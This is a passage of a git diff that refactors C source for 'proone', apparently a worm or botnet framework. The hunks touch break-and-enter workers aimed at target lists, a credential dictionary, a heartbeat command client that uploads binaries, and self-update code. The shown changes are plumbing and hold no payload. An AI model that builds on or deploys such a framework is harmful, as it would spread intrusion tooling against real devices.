prne_worker_t *w = prne_malloc(sizeof(prne_worker_t), 1);
prne_init_worker(w);
- prne_assert(
- w != NULL &&
- prne_llist_append(&wkr_list, (prne_llist_element_t)w) != NULL);
+ prne_assert(prne_llist_append(
+ &prog_g.wkr_list,
+ (prne_llist_element_t)w) != NULL);
- param.subject = arr[i];
- if (!prne_alloc_bne(w, &ctr_drbg, &param)) {
+ prog_g.bne_param.subject = prog_conf.targets.arr[i];
+ if (!prne_alloc_bne(w, &prog_g.ssl.ctr_drbg, &prog_g.bne_param)) {
perror("prne_alloc_bne()");
abort();
}
@@ -433,11 +573,14 @@ int main (const int argc, const char **args) {
prne_assert(w->pth != NULL);
}
- while (wkr_list.size > 0) {
+ while (prog_g.wkr_list.size > 0) {
// rebuild event
pth_event_free(ev_root, TRUE);
ev_root = NULL;
- for (prne_llist_entry_t *e = wkr_list.head; e != NULL; e = e->next) {
+ for (prne_llist_entry_t *e = prog_g.wkr_list.head;
+ e != NULL;
+ e = e->next)
+ {
prne_worker_t *w = (prne_worker_t*)e->element;
pth_event_t ev = pth_event(
PTH_EVENT_TID | PTH_UNTIL_TID_DEAD,
@@ -455,7 +598,7 @@ int main (const int argc, const char **args) {
pth_wait(ev_root);
// reap
- for (prne_llist_entry_t *e = wkr_list.head; e != NULL;) {
+ for (prne_llist_entry_t *e = prog_g.wkr_list.head; e != NULL;) {
prne_worker_t *w = (prne_worker_t*)e->element;
pth_attr_t attr = pth_attr_of(w->pth);
pth_state_t state;
@@ -473,7 +616,7 @@ int main (const int argc, const char **args) {
prne_free_worker(w);
prne_free(w);
- e = prne_llist_erase(&wkr_list, e);
+ e = prne_llist_erase(&prog_g.wkr_list, e);
}
else {
e = e->next;
@@ -482,26 +625,12 @@ int main (const int argc, const char **args) {
}
END: // CATCH
- prne_free_llist(&wkr_list);
pth_event_free(ev_root, TRUE);
- mbedtls_ctr_drbg_free(&ctr_drbg);
- mbedtls_entropy_free(&entropy);
- mbedtls_x509_crt_free(&htbt_ssl.ca);
- mbedtls_x509_crt_free(&htbt_ssl.crt);
- mbedtls_pk_free(&htbt_ssl.key);
- mbedtls_ssl_config_free(&htbt_ssl.conf);
- prne_free_cred_dict(&dict);
- prne_free_bne_param(&param);
- prne_free_rcb_param(&rcb);
- prne_free_bin_archive(&ba);
- prne_close(fd);
- prne_free(arr);
- prne_free(m_cred_dict);
- prne_free(m_nybin);
-
+ free_g();
+ free_conf();
pth_kill();
- if (prne_nstrlen(m_upbin_path) > 0) {
+ if (prog_g.upbin.path[0] != 0) {
do_run_upbin();
}
diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c
index 534719d..533330f 100644
--- a/src/proone-htbtclient.c
+++ b/src/proone-htbtclient.c
@@ -560,7 +560,7 @@ static int parse_args_hover (const int argc, char *const *args) {
}
}
else {
- break;
+ return 2;
}
}
@@ -1983,12 +1983,9 @@ static bool run_setup (const uint16_t msgid) {
goto END;
}
- if (fs.st_size < PRNE_HTBT_BIN_ALLOC_LEN_MAX) {
- prog_conf.cmd_param.run.bm.alloc_len = (uint32_t)fs.st_size;
- }
- else {
- prog_conf.cmd_param.run.bm.alloc_len = PRNE_HTBT_BIN_ALLOC_LEN_MAX;
- }
+ prog_conf.cmd_param.run.bm.alloc_len = prne_op_min(
+ fs.st_size,
+ PRNE_HTBT_BIN_ALLOC_LEN_MAX);
f = &prog_conf.cmd_param.run.bm;
ser_f = (prne_htbt_ser_ft)prne_htbt_ser_bin_meta;
break;
diff --git a/src/proone.c b/src/proone.c
index 8656534..17d88a5 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -1388,7 +1388,9 @@ static void init_bne (void) {
bne_param.cb.tmpfile = cb_tmpfile;
bne_param.cb.upbin = cb_upbin;
- bne_param.rcb = &prne_g.rcb_param;
+ if (prne_g.has_ba) {
+ bne_param.rcb = &prne_g.rcb_param;
+ }
bne_param.login_attempt = PRNE_BNE_LOGIN_ATTEMPT;
}
@@ -1427,9 +1429,10 @@ int main (int argc, char **args) {
prne_g.blackhole[1] = -1;
prne_g.shm_fd = -1;
prne_init_rcb_param(&prne_g.rcb_param);
+ prne_g.bin_host.os = PRNE_HOST_OS;
+ prne_g.bin_host.arch = PRNE_HOST_ARCH;
prne_g.rcb_param.ba = &prne_g.bin_archive;
- prne_g.rcb_param.self.os = PRNE_HOST_OS;
- prne_g.rcb_param.self.arch = PRNE_HOST_ARCH;
+ prne_g.rcb_param.self = &prne_g.bin_host;
prne_init_bin_archive(&prne_g.bin_archive);
mbedtls_x509_crt_init(&prne_g.ssl.ca);
prne_mbedtls_entropy_init(&prne_g.ssl.entpy);
diff --git a/src/proone.h b/src/proone.h
index 0acb17f..0f4e9a6 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -32,6 +32,7 @@ struct prne_global { // TODO: tidy init code when finalised
int blackhole[2];
int shm_fd;
prne_rcb_param_t rcb_param;
+ prne_bin_host_t bin_host;
uint8_t *m_dvault;
bool is_child;
bool has_ba;
diff --git a/src/protocol.h b/src/protocol.h
index 703480e..e244d6c 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -278,7 +278,7 @@ struct prne_htbt_cmd {
};
struct prne_htbt_bin_meta {
- uint32_t alloc_len;
+ size_t alloc_len;
prne_htbt_cmd_t cmd;
};
diff --git a/src/util_rt.c b/src/util_rt.c
index 185faee..c03ee2e 100644
--- a/src/util_rt.c
+++ b/src/util_rt.c
@@ -103,16 +103,24 @@ void *prne_calloc (const size_t se, const size_t cnt) {
}
char *prne_alloc_str (const size_t len) {
+ return prne_realloc_str(NULL, len);
+}
+
+char *prne_realloc_str (char *old, const size_t len) {
if (len == SIZE_MAX) {
errno = ENOMEM;
return NULL;
}
- return (char*)prne_malloc(1, len + 1);
+ return (char*)prne_realloc(old, 1, len + 1);
}
char *prne_dup_str (const char *str) {
+ return prne_redup_str(NULL, str);
+}
+
+char *prne_redup_str (char *old, const char *str) {
const size_t len = prne_nstrlen(str);
- char *ret = prne_alloc_str(len);
+ char *ret = prne_realloc_str(old, len);
if (ret == NULL) {
return NULL;
diff --git a/src/util_rt.h b/src/util_rt.h
index cdc6d50..ea1c707 100644
--- a/src/util_rt.h
+++ b/src/util_rt.h
@@ -27,7 +27,9 @@ void *prne_malloc (const size_t se, const size_t cnt);
void *prne_realloc (void *ptr, const size_t se, const size_t cnt);
void *prne_calloc (const size_t se, const size_t cnt);
char *prne_alloc_str (const size_t len);
+char *prne_realloc_str (char *old, const size_t len);
char *prne_dup_str (const char *str);
+char *prne_redup_str (char *old, const char *str);
void prne_free (void *ptr);
size_t prne_getpagesize (void);